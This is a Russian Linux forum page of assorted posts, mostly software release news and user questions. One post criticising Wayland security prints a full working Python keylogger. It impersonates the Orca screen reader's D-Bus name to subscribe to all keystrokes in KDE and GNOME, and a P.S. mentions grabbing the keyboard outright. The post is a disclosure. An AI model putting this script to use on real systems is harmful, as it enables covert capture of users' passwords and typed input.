LINUX.ORG.RU

Избранные сообщения Ja-Ja-Hey-Ho

moscow BBS

 , ,

Здравствуйте, люди! Я создал свою BBS на сервере через telnet, пожалуйста, подключайтесь debos.ru (или IP если домен не сработает 94.29.34.244), порт стандартный 23.

Пока что, проект развивается поэтому, может с первого взгляда не очень выглядеть. И еще, BBS работает с 10:00 утра до 23:00 вечера.

Перемещено leave из admin

kusitsa
()

В Wayland завезли интерфейс для кейлоггеров из коробки

 , , ,

Привет, чят!

Как ты знаешь, одним из отличительных недостатков Wayland в сравнение с X11 является невозможность произвольной программой получить доступ к вводу с клавиатуры и захакернуть все твои пароли. Как минимум, в KDE и GNOME этот недостаток теперь исправлен.

Одним из валидных случаев, когда программе может требоваться весь ввод, является софт для людей с нарушениями зрения и т.д. В Linux такую роль исполняет Orca. Для того, чтобы обеспечить доступ Orca к событиям ввода, в KDE и GNOME добавили специальный интерфейс в dbus org.freedesktop.a11y.KeyboardMonitor, подписавшись на который можно собственно получать всю инфу. Возникает закономерный вопрос: как же определить, что доступ пытается получить именно Orca, а не злобный хакерский скрипт?

Ответ: KWin (композитор KDE) и Mutter (GNOME) проверяют… имя программы в dbus. И всё. Соответственно, любая программа, назвавшаяся org.gnome.Orca, получает по dbus доступ к вводу с клавиатуры и может захакеровывать твои пароли, ЛОРовец.

Пруф:

#!/usr/bin/env python3

import gi
gi.require_version('Gio', '2.0')
from gi.repository import Gio, GLib

bus = Gio.bus_get_sync(Gio.BusType.SESSION)

# Claim the Orca screen reader bus name
result = bus.call_sync(
    'org.freedesktop.DBus',
    '/org/freedesktop/DBus',
    'org.freedesktop.DBus',
    'RequestName',
    GLib.Variant('(su)', ('org.gnome.Orca.KeyboardMonitor', 0)),
    GLib.VariantType('(u)'),
    Gio.DBusCallFlags.NONE,
    -1, None
)
print(f"[*] RequestName result: {result}")  # 1 = acquired

# Now call WatchKeyboard
bus.call_sync(
    'org.freedesktop.a11y.Manager',
    '/org/freedesktop/a11y/Manager',
    'org.freedesktop.a11y.KeyboardMonitor',
    'WatchKeyboard',
    None, None,
    Gio.DBusCallFlags.NONE,
    -1, None
)
print("[+] WatchKeyboard succeeded!")

# Listen for KeyEvent signals
def on_key_event(connection, sender, path, interface, signal, params):
    pressed, flags, keysym, charcode, scancode = params.unpack()
    if pressed: # True = released, we log on press instead
        return

    if charcode >= 32 and charcode < 127:
        char = chr(charcode)
        print(f"{char}", end="", flush=True)
    elif keysym == 65293:
        print(f"\n", end="", flush=True)
    elif keysym == 65288:
        print(f"[BS]", end="", flush=True)
    elif keysym == 65289:
        print(f"[TAB]", end="", flush=True)
    elif keysym == 65507 or keysym == 65508:
        print(f"[CTRL]", end="", flush=True)
    elif keysym == 65505 or keysym == 65506:
        print(f"[SHIFT]", end="", flush=True)
    elif keysym == 65513 or keysym == 65514:
        print(f"[ALT]", end="", flush=True)
    elif keysym == 65515:
        print(f"[SUPER]", end="", flush=True)
    else:
        print(f"[{keysym}]", end="", flush=True)

bus.signal_subscribe(
    None,
    'org.freedesktop.a11y.KeyboardMonitor',
    'KeyEvent',
    None, None,
    Gio.DBusSignalFlags.NONE,
    on_key_event
)

print("[*] Listening for keystrokes...")
loop = GLib.MainLoop()
try:
    loop.run()
except KeyboardInterrupt:
    print("\n[*] Cleaning up")
    bus.call_sync(
        'org.freedesktop.a11y.Manager',
        '/org/freedesktop/a11y/Manager',
        'org.freedesktop.a11y.KeyboardMonitor',
        'UnwatchKeyboard',
        None, None,
        Gio.DBusCallFlags.NONE,
        -1, None
    )

Скрипту требуется пакет pygobject3 и всё. Скрипт печатает все события с клавиатуры в консольку, пока не получит ^C.

Код и прочая инфа взяты отсюда: https://linnemanlabs.com/posts/hello-my-name-is-orca/

В общем, чят, вот такое вот забавное состояние безопасности в Wayland, над которым работают суровые профессионалы.

P.S. бонусом, если вместо метода WatchKeyboard дёрнуть метод GrabKeyboard, весь ввод уйдёт твоему скрипту, а обычные окна получат шиш. В общем, всё абсолютно как в X11. А ещё через это можно глобальные хоткеи сделать. Наконец-то паритет по фичам достигнут!

yorshka
()

Fontmatrix 1.0.0 и 1.0.1

 , , , ,

Группа Open Source

25 и 30 сентября состоялись выпуски 1.0.0 и 1.0.1 кроссплатформенного (Linux и Windows) менеджера шрифтов Fontmatrix.

Основные возможности:

  • активация и деактивация шрифтов;
  • пометка шрифтов тегами и группировка шрифтов в наборы;
  • поиск шрифтов с помощью простых или комбинированных фильтров: по тегам, метаданным, классификации PANOSE, охвату языка, лицензии и технологии шрифта;
  • подробное инспектирование шрифтов: просмотр глифов, функций OpenType, названий и таблиц TrueType;
  • тестирование функций OpenType, включая шейпинг с помощью HarfBuzz и поддержкой письменностей с написанием текста справа налево;
  • поддержка вариативных и цветных шрифтов: глифов CBDT, sbix, COLR и OpenType-SVG;
  • сравнение глифов нескольких шрифтов, с наложением их друг на друга;
  • поиск дубликатов шрифтов;
  • создание каталогов шрифтов в виде файла PDF;
  • извлечение шрифтов, встроенных в файл PDF (при компиляции с библиотекой PoDoFo не ниже версии 0.10).

Проект написан на языке C++ и распространяется по лицензии GNU GPL 2.

( читать дальше... )

>>> Исходный код на GitHub

>>> История проекта

>>> Подробнее (l10n-bg.dev)

dataman
()

Chawan 0.3.3 — текстовый веб-браузер и пейджер

 , , ,

Chawan 0.3.3 — текстовый веб-браузер и пейджер
Группа Open Source

Chawan — это текстовый веб-браузер и пейджер для Unix-подобных систем, ориентированный на реализацию современных веб-стандартов. При этом Chawan стремится быть самодостаточным, простым в использовании и расширяемым.

Он включает в себя такие функции, как CSS, встроенные изображения в терминале (включение этой функции – по желанию; нужно отредактировать конфигурацию) и JavaScript, реализуемые через небольшой независимый браузерный движок.

( читать дальше... )

>>> Chawan 0.3.3 (chawan.net)

greenman
()

Qalculate! 5.1 и 5.1.1

 , , qalculate, ,

Группа Open Source

6 и 7 мая состоялись выпуски 5.1 и 5.1.1 C++ библиотеки, консольного и GUI-калькуляторов Qalculate!, написанных на языке C++ и распространяемых по лицензии GPL 2.0.

Изменения в библиотеке и консольном калькуляторе:

  • поддержка решения уравнений, содержащих функцию if();
  • поддержка решения root(a, x)=b (требуется рациональное значение для ln(a)/ln(b));
  • новые функции: powertower() и multiples();
  • новые единицы измерения солнечного радиуса, массы и светимости;
  • запрос желаемой интерпретации при первом использовании процентного сложения (например, 100 + 10% равно 110 или 100.1);
  • использование круглых скобок для экспоненты в научной системе счисления (со степенью 10);
  • поддержка целочисленной факторизации чисел в матрице или векторе, а также числителя и знаменателя в рациональном числе;
  • ослаблены условия для (x^a)^b = x^(a × b) и x^a × x^b = x^(a + b) при отключении комплексных чисел (исправлено падение);
  • исправление: если (ax + n)^2 > 1, где n чётно и a не равно 1, возвращается false;
  • исправления в функции setbits();
  • исправление Number::equals(0, ..., true), когда число бесконечно (влияет на функцию replace());
  • исправление a^(f(x))=a^(b*g(x)), где b=2 или b=3 (в версии 5.1.1).
  • другие исправления мелких ошибок и расширение возможностей.

( читать дальше... )

>>> Подробности (github.com)

dataman
()

Релиз KDE 6

 , ,

Группа KDE

После года разработки сообщество KDE представило новые версии рабочего окружения Plasma 6, набора библиотек Frameworks 6 и набора приложений Gear 24.02.

Основные новшества Plasma 6

  • Эффект «Обзор» был объединён с режимом просмотра рабочих столов сеткой в один новый эффект, обладающий улучшенной поддержкой сенсорного управления.
  • Сеанс Wayland теперь используется по умолчанию.
  • В качестве способа представления списка запущенных приложений в переключателе окон теперь используется «Сетка миниатюр».
  • Переработано приложение «Параметры системы», оно стало удобнее для пользователей и было избавлено от лишней вложенности страниц.
  • В Plasma 6 плавающие панели используются по умолчанию. Вернуться в классический режим можно в меню настроек панели.
  • Панели теперь поддерживают новый режим автоматического сокрытия, при котором они будут скрыты, если соприкасаются с окнами.
  • Для выбора файлов и папок теперь используется одиночный щелчок клавишей мыши, а открытие осуществляется двойным щелчком.
  • В сеансах Wayland включена эмуляция щелчка мыши при касании сенсорной панели.
  • Щелчок по полосе прокрутки теперь прокручивает документ к положению, заданному таким щелчком.
  • Прокрутка колеса мыши на рабочем столе более не используется для переключения виртуальных рабочих столов.
  • Возвращён эффект переключения рабочих столов в виде вращающегося куба.
  • Обновлено оформление Breeze, оно получило более современный вид с меньшим количеством рамок и более согласованными отступами между элементами.
  • Представлены новые обои «Алое дерево», подготовленные axo1otl.
  • В сеансах с использованием Wayland теперь частично поддерживается расширенный динамический цветовой диапазон (HDR).

( читать дальше... )

>>> Подробности (kde.org)

ilinsky
()

GIMP 2.99.18

 

Группа Мультимедиа

Выпущена новая нестабильная версия GIMP с существенными изменениями.

Основные новшества в этой версии:

  • Минимальная реализация эффектов слоёв. Каждый примененный инструмент цветокоррекции и фильтр теперь сохраняется как атрибут слоя и может быть повторно отредактирован. Можно менять порядок применения фильтров и временно отключать или удалять их.
  • Автоматическое расширение слоёв при рисовании. Опция «Expand layers» доступна во всех кистевых инструментах кроме ластика. Можно указать размер и способ заливки добавленной области.
  • Диалог для персонализации программы при первом запуске. Можно выбрать тему интерфейса, масштабирование значков и текста интерфейса, отключить группировку инструментов и т.д. Этот же диалог в дальнейшем открывается при старте на странице «Создать» – там можно выбрать для открытия недавние изображения, создать новое, либо открыть произвольный существующий файл.
  • Улучшенная поддержка цветовых пространств, отличающихся от sRGB. GIMP понемногу переписывается, чтобы поддерживать цветовые пространства не только на базе RGB. Основные изменения в этой версии — «под капотом». Из заметного пользователям — программа научилась делать замеры пипеткой в родном цветовом пространстве открытого изображения и показывать соответствующий цветовой профиль в диалогах.
  • Выравнивание и равномерное распределение слоёв прямо на холсте, с динамическими направляющими, а-ля Figma, Inkscape и т.д.
  • Поддержка 16-/32-разрядных на канал файлов RGBA DDS, улучшения в поддержке других форматов (GIF, HEIF, EXR, PDF, PNG, PSD, PSP).
  • Поддержка форматов Farbfeld, Esm Software PIX, HEJ2.
  • Система тем интерфейса реорганизована и существенно упрощена.

Разработка новшеств для версии 3.0 на этом прекращена. Дальше будут выпускаться только RC с исправлениями ошибок.

Реализация недеструктивного редактирования в дальнейшем будет дорабатываться. В частности, можно будет создавать маски для эффектов слоёв.

>>> Подробности (gimp.org)

AP
()

Вышел симулятор электронных схем Qucs-S 24.1.0

 , , , ,

Группа Open Source

Сегодня, 16 февраля 2024 года, вышел релиз симулятора электронных схем Qucs-S 24.1.0 В качестве движка моделирования рекомендуется использовать открытый Ngspice: https://ngspice.sourceforge.io/

Начиная с этой версии, система нумерации версий переведена на CalVer. Теперь первая цифра означает год, вторая номер релиза в году, третья – номер патча.

( читать дальше... )

>>> Подробности (github.com)

DarthVadimius
()

Binding keyboard keys to mouse buttons.wayland.

 , ,

Hi ALL! В природе есть возможность под вайланд подвязывать произвольные клавиши клавиатуры к боковым кнопкам мыши? Под иксами с этим проблем не было.Наткнулся на libratbag/piper GTK application to configure gaming devices, увы , оно НЕ работает. Piper will not show Logitech M705 #1541 https://github.com/libratbag/libratbag/issues/1244. Мышь logitech marathon mouse m705.

rdga13
()

Вышел симулятор электронных схем Qucs-S 2.1.0

 , , , ,

Группа Open Source

Сегодня, 26 октября 2023 года, состоялся релиз симулятора электронных схем Qucs-S. Рекомендуемым движком моделирования для Qucs-S является Ngspice.

Релиз 2.1.0 содержит значительные изменения. Вот список основных из них.

  • Добавлено моделирование в режиме тюнера (см. скриншот), который позволяет подстраивать номиналы компонентов ползунками и смотреть результат на графиках. Аналогичный инструмент имеется, например, в AWR;
  • Для Ngspice добавлена поддержка компонентов, задаваемых в частотной области при помощи файлов s2p (требуется Ngspice-41)
  • Переделаны иконки на панели инструментов. Теперь используются SVG иконки для кнопок, а иконки компонентов генерируются динамически. Всё это улучшает внешний вид для HiDPI
  • Переделано диалоговое окно, отображающее ход моделирования
  • Создание отдельного файла DPL для диаграмм отключено по умолчанию. Теперь диаграммы размещаются на схеме
  • Добавлена функция увеличения выделенного участка схемы
  • Добавлено несколько новых пассивных компонентов
  • Добавлены новые библиотеки: оптоэлектронные компоненты и тиристоры
  • Обновлён перевод на русский язык
  • Исправлены баги

Полный список изменений и ссылки на репозитории для различных дистрибутивов можно найти на странице релиза.

>>> Страница релиза (github.com)

DarthVadimius
()

А вы верите в вирусы? в вирусы реальные и виртуальные?

 , ,

Задолбал глючить смартфон. 10000 рублей стоит. На чпокофон денег нет! Или мне так кажется или так и есть…. после установки пары приложений ( гугл камера и … ) из 4pda - смартфон начинает троить жёстко. Скинул до заводских - наблюдаю. Смартфон не лагает… возможно кэшем не оброс ещё, а возможно и из-за 4pda’шных приложений… Что считают профессионалы? Есть вирусы, майнеры на 4pda? Или это ваших злобных рук дело? Зачем какой то Васян закидывает вечно apk на 4pda?! Что ему с этого? Майнит? Купил за 20000 Самсунг - тоже жёстко лагал. Сдал в магазин. Вот и думаю, что может смарт и не виноват был… Кто за и против apk левых?!

zritel
()

jq 1.7

 , , ,

jq 1.7
Группа Open Source

7 сентября, после пятилетнего застоя, состоялся выпуск 1.7 библиотеки и консольной утилиты jq, предназначенной для работы с форматом JSON и написанной на языке программирования C. Опционально утилита может быть скомпилирована с использованием библиотеки регулярных выражений Oniguruma.

Изменения:

  • новый адрес: https://github.com/jqlang;
  • новые сопровождающие, администраторы и владельцы;
  • файл NEWS заменен на NEWS.md;
  • улучшения CI, документации, тестирования и веб-сайта;
  • образы Docker теперь доступны с https://ghcr.io/jqlang/jq вместо Docker Hub;

( читать дальше... )

>>> Подробности (github.com)

dataman
()

Критическая уязвимость сразу во всех распространённых браузерах

 , ,

Группа Безопасность

Компания Google опубликовала информацию и уже закрыла уязвимость в библиотеке libwebp, которая могла приводить к удалённому выполнению кода, когда пользовать просто открывает сайт. Библиотека libwebp используется во всех браузерах на движке Chromium, а также в приложениях на базе electron, в браузере Mozilla Firefox, Gimp, Inkscape, LibreOffice, Telegram, Thunderbird, ffmpeg и другом программном обеспечении. Затронуты также и другие операционные системы.

Суть уязвимости в переполнении буфера, которая позволяет злоумышленнику подготовить специальное WebP изображение, при открытии которого на машине пользователя выполнится код. Google не раскрывает подробности механизма эксплуатации уязвимости, но утверждает, что в сети уже доступны рабочие эксплоиты, основанные на ней.

Всем пользователям рекомендуется обновиться как можно скорее.

>>> Подробности (cve.org)

Aceler
()

mc перестал входить в tar.*

 , utar

Раньше входил без проблем, не пойму в чем причина. Относится ко всем tar.* и t(bz2|gz и т.д.)

На примере tar.bz2, вот так из сабшелла без проблем:

cd file.tar.bz2/utar://

В /etc/mc/mc.ext.ini:

[tar.bzip2]
Regex=\.t(ar\.bz2|bz2?|b2)$
Open=%cd %p/utar://
View=%view{ascii} /usr/lib/mc/ext.d/archive.sh view tar.bzip2

Чтобы избежать влияния пользовательских настроек временно переместил ~/.config/mc, ~/.local/share/mc и удалил ~/.cache/mc, но увы…

Когда все началось сказать сложно, но заметил только сегодня. Может после обновления до 4.8.30, может раньше.

PS. Что-то я сомневаюсь, что я не открывал архивы с 15 августа:

$ grep -E '\s(mc|tar)\s' /var/log/pacman.log
[2023-07-27T06:14:27+0300] [ALPM] upgraded tar (1.34-2 -> 1.35-1)
[2023-08-15T20:36:48+0300] [ALPM] upgraded mc (4.8.29-2 -> 4.8.30-1)

Попробовал даунгрейдиться до 4.8.29-2, ситуация такая же.
Что за дела?

dmitry237
()

Lexx, страшный суд

как вам квазипротестантская симуляция страшного суда в лексе, Lexx 3.12 The Beach ?

ps: личный флагман мегатени - Мегатень и 24 ударный полк Кластера

fMad
()

В Steam версии Dwarf Fortress появилась поддержка Linux

 , , ,

То, что было давно обещано разработчикам наконец-то свершилось. Тихо и незаметно добавлена поддержка Linux. Необходимо только переключиться на public-beta.

На сколько я успел затестить - всё работает отлично.

alarm
()

Вышел симулятор электронных схем Qucs-S 2.0.0

 , , , ,

Группа Open Source

Сегодня, 19 августа 2023 года, состоялся релиз симулятора электронных схем Qucs-S. Рекомендуемым движком моделирования для Qucs-S является Ngspice, предлагаемый по умолчанию при старте программы.

( читать дальше... )

>>> Страница релиза на Гитхабе (github.com)

DarthVadimius
()

Упала производительность r600

 ,

Ничего не предвещало беды, но давеча апдейтов накачали и теперь в печали. Внезапно упала производительность с драйвером r600 на соответствующих видеокартах. В большинстве игр на 5-10%, но в некоторых, например Tomb Raider 2013, драматически в 2-3 раза.

Полез в чейнджлоги мезы https://docs.mesa3d.org/relnotes/22.2.0.html и сразу наткнулся на

[Bisected] r600: Big performance regression on some games

Решил проблему соответственно откатом на 22.1.7 mesa и lib32-mesa.

Если отбросить несоответствующий разделу вопрос «Доколе?», то остается только «Как быть?». Т.е. есть ли решение, как вернуть прежнюю производительность без откатов и пересборок?

Radius
()

Canon LBP-2900 и другие CAPT-принтеры - ПИШУ ДРАЙВЕР

 ,

Попытался запустить LBP-2900 в Ubuntu. Довольно быстро выяснилось, что фирменный драйвер Canon - полный отстой, не поддерживается, и с этим надо что-то делать. Обнаружил также попытки написания энтузиастами аналогичного драйвера, но для 2900 он не работает. В связь с этим начал обратный инжениринг принтера и решил написать СОБСТВЕННЫЙ ДРАЙВЕР.

UPD: ТЕКУЩЕЕ СОСТОЯНИЕ

Исходники доступны на Github: https://github.com/agalakhov/captdriver

Чеклист к первому релизу:
[X] Передача параметров компрессии Hi-SCoA
[X] Компрессия Hi-SCoA
[X] Поддержка LBP-2900 и LBP-3000
[X] Баг «only 10 bytes»
[X] Печать многих страниц
[X] Ожидание наличия бумаги
[ ] Генерация PPD-файлов

Чеклист ко второму релизу:
[ ] Компрессия SCoA
[ ] Поддержка LBP-810 и LBP-1120

(Текст исходного верхнего поста следует)

Ищу единомышленников для Reverse Engineering протокола принтера. На сегодняшний день мне удалось полностью расшифровать протокол нижнего уровня USB и частично - протокол верхнего уровня. Мой драйвер уже может отсылать страницы на печать. ТРЕБУЕТСЯ расшифровать алгоритм сжатия пиксельных данных (он оказался отличным от алгоритма LBP-810 и, по-видимому, является какой-то модификацией ALPC-сжатия). Попытки прикрутить алгоритм от 810 привели к тому, что принтер включается и печатает, но на бумаге получаются только полосы, линии и регулярные узоры из пикселей. У меня пока нет времени на расшифровку, поэтому прошу помощи.

ОПИСАНИЕ ТОГО, ЧТО УДАЛОСЬ РАСШИФРОВАТЬ

Работать с принтером можно с помощью простого open(«/dev/usb/lp0») - libusb не требуется. Общение идет пакетами довольно простого формата. Формат пакета:

байты 1,2 - код команды - 16 бит (младший байт первый)

байты 3,4 - длина посылки (полная) - 16 бит (очевидно, меньше 4 байт не бывает)

байты с 5 - данные (опционально)

Если суммарная длина посылки превышает 4096 байт, посылка делится на части по 4096 байт.

Компьютер посылает принтеру команду. Принтер отвечает пакетом, содержащим код той же команды и минимум 2 байта данных (код возврата), всего не менее 6 байт. Эти 6 байт читают одним read(). Если длина превышает 6 байт, то затем делается read() на оставшуюся длину (она у меня никогда не превышала 4 килобайта, так что про ограничения ничего не знаю). Если не прочитать ответ принтера и продолжить посылать данные, он зависнет, и его придется выключить и включить снова.

Коды команд:

0xA1A1 - начало работы. Параметров нет (4 байта). Принтер отвечает длинной последовательностью байтов - видимо, номером модели, серийным номером, характеристиками и чем-то еще, я не разбирался.

0xA0A0 - какая-то проверка статуса? Встречается на 810, ни разу не видел на 2900. Параметров нет. Принтер отвечает длинной простышей байтов.

0xA0A8 - запрос какого-то статуса. Параметров нет. В коде возврата - явно битовые флаги.

0xA3A2 - что-то включает, меняет флаги в предыдущей команде. Параметров нет. Ответ всегда 0x0000.

0xE0A0 - проверка готовности. Если в ответе поднят бит 0x0008, то буфер принтера полон, надо ждать и не посылать больше данные.

0xA0A1 - проверка кучи вещей, в том числе наличия бумаги. Как оно работает на 2900 - не знаю.

0xA2A0 - загрузка первой магической последовательности. Параметр: магическая последовательность байтов.

0xE1A1 - загрузка второй магической последовательности.

0xE0A3, 0xE0A2, 0xE0A4 - что-то включают. Всегда идут в начале и в такой последовательности. Их отсутствие никак на печать не влияет(?). Возвращают 0, а при попытке вызвать повторно - 0x8800.

0xE0A5 - третья магическая последовательность.

0xD0A9 - загрузка магической последовательности, непосредственно предшествующая загрузке данных печати. Ответа на эту команду не дожидаются (?).

0xC0A0 - Главная Команда. Загружает в принтер сжатое изображение или его часть. Ответа принтера нет.

0xC0A4 - Конец Загрузки. Выдается сразу после 0xC0A0.

0xE0A7 - Включение Печати. Когда принтер подтвердит готовность после загрузки, выдают эту команду, и принтер начинает печатать. Параметр: 16-битное число 0x0001 (видимо, означающее «включить»).

Дополнительная информация - в исходниках драйвера http://www.boichat.ch/nicolas/capt/

Исходники того, что написал на данный момент, могу прислать.

Yampp
()

RapidFuzz 3.0.0 и rapidfuzz-cpp 1.11.2 - библиотеки для нечёткого сравнения строк

 , , , ,

Группа Open Source

rapidfuzz-cpp - быстрая, SIMD-оптимизированная библиотека на языке C++, реализующая несколько алгоритмов нечёткого сравнения строк и вычисления метрик:

RapidFuzz - основанная на rapidfuzz-cpp библиотека для языка Python.

Лицензия: MIT.

( читать дальше... )

>>> Подробности (github.com)

dataman
()